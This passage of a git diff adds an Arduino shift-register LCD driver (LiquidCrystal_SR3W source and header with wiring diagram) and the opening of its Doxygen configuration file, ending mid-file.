@defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe) +{ + init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t backlighPin, t_backlighPol pol) +{ + init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol) +{ + init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); + setBacklightPin(backlighPin, pol); +} + + +void LiquidCrystal_SR3W::send(uint8_t value, uint8_t mode) +{ + + if ( mode != FOUR_BITS ) + { + write4bits( (value >> 4), mode ); // upper nibble + } + write4bits( (value & 0x0F), mode); // lower nibble + + +#if (F_CPU <= 16000000) + // No need to use the delay routines on AVR since the time taken to write + // on AVR with SR pin mapping even with fio is longer than LCD command execution. + waitUsec(37); //goes away on AVRs +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif + +} + + +void LiquidCrystal_SR3W::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = pol; + setBacklight (BACKLIGHT_OFF); // Set backlight to off as initial setup +} + +void LiquidCrystal_SR3W::setBacklight ( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + loadSR( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// ----------------------------------------------------------------------------- + +int LiquidCrystal_SR3W::init(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t Rs, uint8_t Rw, uint8_t En, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + _data = fio_pinToBit(data); + _clk = fio_pinToBit(clk); + _strobe = fio_pinToBit(strobe); + _data_reg = fio_pinToOutputRegister(data); + _clk_reg = fio_pinToOutputRegister(clk); + _strobe_reg = fio_pinToOutputRegister(strobe); + + // LCD pin mapping + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + return (1); +} + +void LiquidCrystal_SR3W::write4bits(uint8_t value, uint8_t mode) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + mode = ( mode == DATA ) ? _Rs : 0; + + pinMapValue |= mode | _backlightStsMask; + loadSR ( pinMapValue | _En ); // Send with enable high + loadSR ( pinMapValue); // Send with enable low +} + + +void LiquidCrystal_SR3W::loadSR(uint8_t value) +{ + // Load the shift register with information + fio_shiftOut(_data_reg, _data, _clk_reg, _clk, value, MSBFIRST); + + // Strobe the data into the latch + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_strobe_reg, _strobe); + fio_digitalWrite_SWITCHTO(_strobe_reg, _strobe, LOW); + } +} diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR3W.h b/libraries/LiquidCrystal/LiquidCrystal_SR3W.h new file mode 100644 index 0000000..0f0b32f --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR3W.h @@ -0,0 +1,202 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 7.3.2012. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR3W.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using a generic SHIFT REGISTER extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using a 3 wire latching +// shift register. While it has been tested with a 74HC595N shift register +// it should also work with other latching shift registers such as the MC14094 +// and the HEF4094 +// +// This particular driver has been created as generic as possible to enable +// users to configure and connect their LCDs using just 3 digital IOs from the +// AVR or Arduino, and connect the LCD to the outputs of the shiftregister +// in any configuration. The library is configured by passing the IO pins +// that control the strobe, data and clock of the shift register and a map +// of how the shiftregister is connected to the LCD. +// +// +// +--------------------------------------------+ +// | MCU | +// | IO1 IO2 IO3 | +// +----+-------------+-------------+-----------+ +// | | | +// | | | +// +----+-------------+-------------+-----------+ +// | Strobe Data Clock | +// | 8-bit shift/latch register | 74HC595N +// | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 | +// +----+----+----+----+----+----+----+----+----+ +// | | | | | | | +// |11 |12 |13 |14 |6 |5 |4 (LCD pins) +// +----+----+----+----+----+----+----+----+----+ +// | DB4 DB5 DB6 DB7 E Rw RS | +// | LCD Module | +// +// NOTE: Rw is not used by the driver so it can be connected to GND. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR3W_H_ +#define _LIQUIDCRYSTAL_SR3W_H_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +class LiquidCrystal_SR3W : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the IO driving the + shift register. The constructor does not initialize the LCD. + Default configuration: + Shift register LCD + QA - 0 DB4 + QB - 1 DB5 + QC - 2 DB6 + QD - 3 DB7 + QE - 4 E + QF - 5 + QG - 6 Rs + GND Rw + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to the shiftregister data pin. + @param clk[in] digital IO connected to the shiftregister clock pin. + */ + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe); + // Constructor with backlight control + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the control lines of + the LCD and the shiftregister. The constructor does not initialize the LCD. + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to shiftregister data pin. + @param clk[in] digital IO connected to shiftregister clock pin. + @param En[in] LCD En (Enable) pin connected to SR output pin. + @param Rw[in] LCD Rw (Read/write) pin connected to SR output pin. + @param Rs[in] LCD Rs (Reg Select) pin connected to SR output pin. + @param d4[in] LCD data 4 pin map to the SR output pin. + @param d5[in] LCD data 5 pin map to the SR output pin. + @param d6[in] LCD data 6 pin map to the SR output pin. + @param d7[in] LCD data 7 pin map to the SR output pin. + */ + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_SR3W( uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t Rs, uint8_t Rw, uint8_t En, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @function + @abstract load into the shift register a byte + @discussion loads into the shift register a byte + @param value[in]: value to be loaded into the shiftregister. + */ + void loadSR(uint8_t value); + + + fio_bit _strobe; // shift register strobe pin + fio_register _strobe_reg; // SR strobe pin MCU register + fio_bit _data; // shift register data pin + fio_register _data_reg; // SR data pin MCU register + fio_bit _clk; // shift register clock pin + fio_register _clk_reg; // SR clock pin MCU register + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + +}; + +#endif + diff --git a/libraries/LiquidCrystal/docs/Doxyfile b/libraries/LiquidCrystal/docs/Doxyfile new file mode 100644 index 0000000..b097cd8 --- /dev/null +++ b/libraries/LiquidCrystal/docs/Doxyfile @@ -0,0 +1,1749 @@ +# Doxyfile 1.7.4 + +# This file describes the settings to be used by the documentation system +# doxygen (www.doxygen.org) for a project +# +# All text after a hash (#) is considered a comment and will be ignored +# The format is: +# TAG = value [value, ...] +# For lists items can also be appended using: +# TAG += value [value, ...] +# Values that contain spaces should be placed between quotes (" ") + +#--------------------------------------------------------------------------- +# Project related configuration options +#--------------------------------------------------------------------------- + +# This tag specifies the encoding used for all characters in the config file +# that follow. The default is UTF-8 which is also the encoding used for all +# text before the first occurrence of this tag. Doxygen uses libiconv (or the +# iconv built into libc) for the transcoding. See +# http://www.gnu.org/software/libiconv for the list of possible encodings. + +DOXYFILE_ENCODING = UTF-8 + +# The PROJECT_NAME tag is a single word (or a sequence of words surrounded +# by quotes) that should identify the project. + +PROJECT_NAME = "LCD Library" + +# The PROJECT_NUMBER tag can be used to enter a project or revision number. +# This could be handy for archiving the generated documentation or +# if some version control system is used. + +PROJECT_NUMBER = 1.2.0 + +# Using the PROJECT_BRIEF tag one can provide an optional one line description +# for a project that appears at the top of each page and should give viewer +# a quick idea about the purpose of the project. Keep the description short. + +PROJECT_BRIEF = "LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library." + +# With the PROJECT_LOGO tag one can specify an logo or icon that is +# included in the documentation. The maximum height of the logo should not +# exceed 55 pixels and the maximum width should not exceed 200 pixels. +# Doxygen will copy the logo to the output directory. + +PROJECT_LOGO = /Users/fmalpartida/Documents/electroFunLTD/templates/anchillary/graficas/logo/logoGoogle.jpg + +# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) +# base path where the generated documentation will be put. +# If a relative path is entered, it will be relative to the location +# where doxygen was started. If left blank the current directory will be used. + +OUTPUT_DIRECTORY = . + +# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create +# 4096 sub-directories (in 2 levels) under the output directory of each output +# format and will distribute the generated files over these directories. +# Enabling this option can be useful when feeding doxygen a huge amount of +# source files, where putting all generated files in the same directory would +# otherwise cause performance problems for the file system. + +CREATE_SUBDIRS = NO + +# The OUTPUT_LANGUAGE tag is used to specify the language in which all +# documentation generated by doxygen is written. Doxygen will use this +# information to generate all constant output in the proper language. +# The default language is English, other supported languages are: +# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, +# Croatian, Czech, Danish, Dutch, Esperanto, Farsi, Finnish, French, German, +# Greek, Hungarian, Italian, Japanese, Japanese-en (Japanese with English +# messages), Korean, Korean-en, Lithuanian, Norwegian, Macedonian, Persian, +# Polish, Portuguese, Romanian, Russian, Serbian, Serbian-Cyrillic, Slovak, +# Slovene, Spanish, Swedish, Ukrainian, and Vietnamese. + +OUTPUT_LANGUAGE = English + +# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will +# include brief member descriptions after the members that are listed in +# the file and class documentation (similar to JavaDoc). +# Set to NO to disable this. + +BRIEF_MEMBER_DESC = YES + +# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend +# the brief description of a member or function before the detailed description. +# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the +# brief descriptions will be completely suppressed. + +REPEAT_BRIEF = YES + +# This tag implements a quasi-intelligent brief description abbreviator +# that is used to form the text in various listings. Each string +# in this list, if found as the leading text of the brief description, will be +# stripped from the text and the result after processing the whole list, is +# used as the annotated text. Otherwise, the brief description is used as-is. +# If left blank, the following values are used ("$name" is automatically +# replaced with the name of the entity): "The $name class" "The $name widget" +# "The $name file" "is" "provides" "specifies" "contains" +# "represents" "a" "an" "the" + +ABBREVIATE_BRIEF = "The $name class" \ + "The $name widget" \ + "The $name file" \ + is \ + provides \ + specifies \ + contains \ + represents \ + a \ + an \ + the + +# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then +# Doxygen will generate a detailed section even if there is only a brief +# description. + +ALWAYS_DETAILED_SEC = YES + +# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all +# inherited members of a class in the documentation of that class as if those +# members were ordinary class members. Constructors, destructors and assignment +# operators of the base classes will not be shown. + +INLINE_INHERITED_MEMB = NO + +# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full +# path before files name in the file list and in the header files. If set +# to NO the shortest path that makes the file name unique will be used. + +FULL_PATH_NAMES = YES + +# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag +# can be used to strip a user-defined part of the path. Stripping is +# only done if one of the specified strings matches the left-hand part of +# the path. The tag can be used to show relative paths in the file list. +# If left blank the directory from which doxygen is run is used as the +# path to strip. + +STRIP_FROM_PATH = + +# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of +# the path mentioned in the documentation of a class, which tells +# the reader which header file to include in order to use a class. +# If left blank only the name of the header file containing the class +# definition is used. Otherwise one should specify the include paths that +# are normally passed to the compiler using the -I flag. + +STRIP_FROM_INC_PATH = + +# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter +# (but less readable) file names. This can be useful if your file system +# doesn't support long names like on DOS, Mac, or CD-ROM. + +SHORT_NAMES = NO + +# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen +# will interpret the first line (until the first dot) of a JavaDoc-style +# comment as the brief description. If set to NO, the JavaDoc +# comments will behave just like regular Qt-style comments +# (thus requiring an explicit @brief command for a brief description.) + +JAVADOC_AUTOBRIEF = NO + +# If the QT_AUTOBRIEF tag is set to YES then Doxygen will +# interpret the first line (until the first dot) of a Qt-style +# comment as the brief description. If set to NO, the comments +# will behave just like regular Qt-style comments (thus requiring +# an explicit \brief command for a brief description.) + +QT_AUTOBRIEF = NO + +# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen +# treat a multi-line C++ special comment block (i.e. a block of //! or /// +# comments) as a brief description. This used to be the default behaviour. +# The new default is to treat a multi-line C++ comment block as a detailed +# description. Set this tag to YES if you prefer the old behaviour instead. + +MULTILINE_CPP_IS_BRIEF = NO + +# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented +# member inherits the documentation from any documented member that it +# re-implements. + +INHERIT_DOCS = YES + +# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce +# a new page for each member. If set to NO, the documentation of a member will +# be part of the file/class/namespace that contains it. + +SEPARATE_MEMBER_PAGES = NO + +# The TAB_SIZE tag can be used to set the number of spaces in a tab. +# Doxygen uses this value to replace tabs by spaces in code fragments. + +TAB_SIZE = 8 + +# This tag can be used to specify a number of aliases that acts +# as commands in the documentation. An alias has the form "name=value". +# For example adding "sideeffect=\par Side Effects:\n" will allow you to +# put the command \sideeffect (or @sideeffect) in the documentation, which +# will result in a user-defined paragraph with heading "Side Effects:". +# You can put \n's in the value part of an alias to insert newlines. + +ALIASES = + +# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C +# sources only. Doxygen will then generate output that is more tailored for C. +# For instance, some of the names that are used will be different. The list +# of all members will be omitted, etc. + +OPTIMIZE_OUTPUT_FOR_C = NO + +# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java +# sources only. Doxygen will then generate output that is more tailored for +# Java. For instance, namespaces will be presented as packages, qualified +# scopes will look different, etc. + +OPTIMIZE_OUTPUT_JAVA = NO + +# Set the OPTIMIZE_FOR_FORTRAN tag to YES if your project consists of Fortran +# sources only. Doxygen will then generate output that is more tailored for +# Fortran. + +OPTIMIZE_FOR_FORTRAN = NO + +# Set the OPTIMIZE_OUTPUT_VHDL tag to YES if your project consists of VHDL +# sources. Doxygen will then generate output that is tailored for +# VHDL. + +OPTIMIZE_OUTPUT_VHDL = NO + +# Doxygen selects the parser to use depending on the extension of the files it +# parses. With this tag you can assign which parser to use for a given extension. +# Doxygen has a built-in mapping, but you can override or extend it using this +# tag. The format is ext=language, where ext is a file extension, and language +# is one of the parsers supported by doxygen: IDL, Java, Javascript, CSharp, C, +# C++, D, PHP, Objective-C, Python, Fortran, VHDL, C, C++. For instance to make +# doxygen treat .inc files as Fortran files (default is PHP), and .f files as C +# (default is Fortran), use: inc=Fortran f=C. Note that for custom extensions +# you also need to set FILE_PATTERNS otherwise the files are not read by doxygen. + +EXTENSION_MAPPING = + +# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want +# to include (a tag file for) the STL sources as input, then you should +# set this tag to YES in order to let doxygen match functions declarations and +# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. +# func(std::string) {}). This also makes the inheritance and collaboration +# diagrams that involve STL classes more complete and accurate. + +BUILTIN_STL_SUPPORT = NO + +# If you use Microsoft's C++/CLI language, you should set this option to YES to +# enable parsing support. + +CPP_CLI_SUPPORT = NO + +# Set the SIP_SUPPORT tag to YES if your project consists of sip sources only. +# Doxygen will parse them like normal C++ but will assume all classes use public +# instead of private inheritance when no explicit protection keyword is present. + +SIP_SUPPORT = NO + +# For Microsoft's IDL there are propget and propput attributes to indicate getter +# and setter methods for a property. Setting this option to YES (the default) +# will make doxygen replace the get and set methods by a property in the +# documentation. This will only work if the methods are indeed getting or +# setting a simple type. If this is not the case, or you want to show the +# methods anyway, you should set this option to NO. + +IDL_PROPERTY_SUPPORT = YES + +# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC +# tag is set to YES, then doxygen will reuse the documentation of the first +# member in the group (if any) for the other members of the group. By default +# all members of a group must be documented explicitly. + +DISTRIBUTE_GROUP_DOC = NO + +# Set the SUBGROUPING tag to YES (the default) to allow class member groups of +# the same type (for instance a group of public functions) to be put as a +# subgroup of that type (e.g. under the Public Functions section). Set it to +# NO to prevent subgrouping. Alternatively, this can be done per class using +# the \nosubgrouping command. + +SUBGROUPING = YES + +# When the INLINE_GROUPED_CLASSES tag is set to YES, classes, structs and +# unions are shown inside the group in which they are included (e.g. using +# @ingroup) instead of on a separate page (for HTML and Man pages) or +# section (for LaTeX and RTF). + +INLINE_GROUPED_CLASSES = NO + +# When TYPEDEF_HIDES_STRUCT is enabled, a typedef of a struct, union, or enum +# is documented as struct, union, or enum with the name of the typedef. So +# typedef struct TypeS {} TypeT, will appear in the documentation as a struct +# with name TypeT. When disabled the typedef will appear as a member of a file, +# namespace, or class. And the struct will be named TypeS. This can typically +# be useful for C code in case the coding convention dictates that all compound +# types are typedef'ed and only the typedef is referenced, never the tag name. + +TYPEDEF_HIDES_STRUCT = NO + +# The SYMBOL_CACHE_SIZE determines the size of the internal cache use to +# determine which symbols to keep in memory and which to flush to disk. +# When the cache is full, less often used symbols will be written to disk. +# For small to medium size projects (<1000 input files) the default value is +# probably good enough. For larger projects a too small cache size can cause +# doxygen to be busy swapping symbols to and from disk most of the time +# causing a significant performance penalty. +# If the system has enough physical memory increasing the cache will improve the +# performance by keeping more symbols in memory. Note that the value works on +# a logarithmic scale so increasing the size by one will roughly double the +# memory usage. The cache size is given by this formula: +# 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0, +# corresponding to a cache size of 2^16 = 65536 symbols + +SYMBOL_CACHE_SIZE = 0 + +#--------------------------------------------------------------------------- +# Build related configuration options +#--------------------------------------------------------------------------- + +# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in +# documentation are documented, even if no documentation was available. +# Private class members and static file members will be hidden unless +# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES + +EXTRACT_ALL = YES + +# If the EXTRACT_PRIVATE tag is set to YES all private members of a class +# will be included in the documentation. + +EXTRACT_PRIVATE = NO + +# If the EXTRACT_STATIC tag is set to YES all static members of a file +# will be included in the documentation. + +EXTRACT_STATIC = YES + +# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) +# defined locally in source files will be included in the documentation. +# If set to NO only classes defined in header files are included. + +EXTRACT_LOCAL_CLASSES = YES + +# This flag is only useful for Objective-C code. When set to YES local +# methods, which are defined in the implementation section but not in +# the interface are included in the documentation. +# If set to NO (the default) only methods in the interface are included. + +EXTRACT_LOCAL_METHODS = YES + +# If this flag is set to YES, the members of anonymous namespaces will be +# extracted and appear in the documentation as a namespace called +# 'anonymous_namespace{file}', where file will be replaced with the base +# name of the file that contains the anonymous namespace. By default +# anonymous namespaces are hidden. + +EXTRACT_ANON_NSPACES = NO + +# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all +# undocumented members of documented classes, files or namespaces. +# If set to NO (the default) these members will be included in the +# various overviews, but no documentation section is generated. +# This option has no effect if EXTRACT_ALL is enabled. + +HIDE_UNDOC_MEMBERS = NO + +# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all +# undocumented classes that are normally visible in the class hierarchy. +# If set to NO (the default) these classes will be included in the various +# overviews. This option has no effect if EXTRACT_ALL is enabled. + +HIDE_UNDOC_CLASSES = NO + +# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all +# friend (class|struct|union) declarations. +# If set to NO (the default) these declarations will be included in the +# documentation. + +HIDE_FRIEND_COMPOUNDS = NO + +# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any +# documentation blocks found inside the body of a function. +# If set to NO (the default) these blocks will be appended to the +# function's detailed documentation block. + +HIDE_IN_BODY_DOCS = NO + +# The INTERNAL_DOCS tag determines if documentation +# that is typed after a \internal command is included. If the tag is set +# to NO (the default) then the documentation will be excluded. +# Set it to YES to include the internal documentation. + +INTERNAL_DOCS = NO + +# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate +# file names in lower-case letters. If set to YES upper-case letters are also +# allowed. This is useful if you have classes or files whose names only differ +# in case and if your file system supports case sensitive file names. Windows +# and Mac users are advised to set this option to NO. + +CASE_SENSE_NAMES = NO + +# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen +# will show members with their full class and namespace scopes in the +# documentation. If set to YES the scope will be hidden. + +HIDE_SCOPE_NAMES = NO + +# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen +# will put a list of the files that are included by a file in the documentation +# of that file. + +SHOW_INCLUDE_FILES = YES + +# If the FORCE_LOCAL_INCLUDES tag is set to YES then Doxygen +# will list include files with double quotes in the documentation +# rather than with sharp brackets. + +FORCE_LOCAL_INCLUDES = NO + +# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] +# is inserted in the documentation for inline members. + +INLINE_INFO = YES + +# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen +# will sort the (detailed) documentation of file and class members +# alphabetically by member name. If set to NO the members will appear in +# declaration order. + +SORT_MEMBER_DOCS = YES + +# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the +# brief documentation of file, namespace and class members alphabetically +# by member name. If set to NO (the default) the members will appear in +# declaration order. + +SORT_BRIEF_DOCS = YES + +# If the SORT_MEMBERS_CTORS_1ST tag is set to YES then doxygen +# will sort the (brief and detailed) documentation of class members so that +# constructors and destructors are listed first. If set to NO (the default) +# the constructors will appear in the respective orders defined by +# SORT_MEMBER_DOCS and SORT_BRIEF_DOCS. +# This tag will be ignored for brief docs if SORT_BRIEF_DOCS is set to NO +# and ignored for detailed docs if SORT_MEMBER_DOCS is set to NO. + +SORT_MEMBERS_CTORS_1ST = NO + +# If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the +# hierarchy of group names into alphabetical order. If set to NO (the default) +# the group names will appear in their defined order. + +SORT_GROUP_NAMES = NO + +# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be +# sorted by fully-qualified names, including namespaces. If set to +# NO (the default), the class list will be sorted only by class name, +# not including the namespace part. +# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. +# Note: This option applies only to the class list, not to the +# alphabetical list. + +SORT_BY_SCOPE_NAME = NO + +# If the STRICT_PROTO_MATCHING option is enabled and doxygen fails to +# do proper type resolution of all parameters of a function it will reject a +# match between the prototype and the implementation of a member function even +# if there is only one candidate or it is obvious which candidate to choose +# by doing a simple string match. By disabling STRICT_PROTO_MATCHING doxygen +# will still accept a match between prototype and implementation in such cases. + +STRICT_PROTO_MATCHING = NO + +# The GENERATE_TODOLIST tag can be used to enable (YES) or +# disable (NO) the todo list. This list is created by putting \todo +# commands in the documentation. + +GENERATE_TODOLIST = YES + +# The GENERATE_TESTLIST tag can be used to enable (YES) or +# disable (NO) the test list. This list is created by putting \test +# commands in the documentation. + +GENERATE_TESTLIST = YES + +# The GENERATE_BUGLIST tag can be used to enable (YES) or +# disable (NO) the bug list. This list is created by putting \bug +# commands in the documentation. + +GENERATE_BUGLIST = YES + +# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or +# disable (NO) the deprecated list. This list is created by putting +# \deprecated commands in the documentation. + +GENERATE_DEPRECATEDLIST= YES + +# The ENABLED_SECTIONS tag can be used to enable conditional +# documentation sections, marked by \if sectionname ... \endif. + +ENABLED_SECTIONS = + +# The MAX_INITIALIZER_LINES tag determines the maximum number of lines +# the initial value of a variable or macro consists of for it to appear in +# the documentation. If the initializer consists of more lines than specified +# here it will be hidden. Use a value of 0 to hide initializers completely. +# The appearance of the initializer of individual variables and macros in the +# documentation can be controlled using \showinitializer or \hideinitializer +# command in the documentation regardless of this setting. + +MAX_INITIALIZER_LINES = 30 + +# Set the SHOW_USED_FILES tag to NO to disable the list of files generated +# at the bottom of the documentation of classes and structs. If set to YES the +# list will mention the files that were used to generate the documentation. + +SHOW_USED_FILES = YES + +# If the sources in your project are distributed over multiple directories +# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy +# in the documentation. The default is NO. + +SHOW_DIRECTORIES = NO + +# Set the SHOW_FILES tag to NO to disable the generation of the Files page. +# This will remove the Files entry from the Quick Index and from the +# Folder Tree View (if specified). The default is YES. + +SHOW_FILES = YES + +# Set the SHOW_NAMESPACES tag to NO to disable the generation of the +# Namespaces page. This will remove the Namespaces entry from the Quick Index +# and from the Folder Tree View (if specified). The default is YES. + +SHOW_NAMESPACES = YES + +# The FILE_VERSION_FILTER tag can be used to specify a program or script that +# doxygen should invoke to get the current version for each file (typically from +# the version control system). Doxygen will invoke the program by executing (via +# popen()) the command , where is the value of +# the FILE_VERSION_FILTER tag, and is the name of an input file +# provided by doxygen. Whatever the program writes to standard output +# is used as the file version. See the manual for examples. + +FILE_VERSION_FILTER = + +# The LAYOUT_FILE tag can be used to specify a layout file which will be parsed +# by doxygen. The layout file controls the global structure of the generated +# output files in an output format independent way. The create the layout file +# that represents doxygen's defaults, run doxygen with the -l option. +# You can optionally specify a file name after the option, if omitted +# DoxygenLayout.xml will be used as the name of the layout file. + +LAYOUT_FILE = + +#--------------------------------------------------------------------------- +# configuration options related to warning and progress messages +#--------------------------------------------------------------------------- + +# The QUIET tag can be used to turn on/off the messages that are generated +# by doxygen. Possible values are YES and NO. If left blank NO is used. + +QUIET = NO + +# The WARNINGS tag can be used to turn on/off the warning messages that are +# generated by doxygen. Possible values are YES and NO. If left blank +# NO is used. + +WARNINGS = YES + +# If 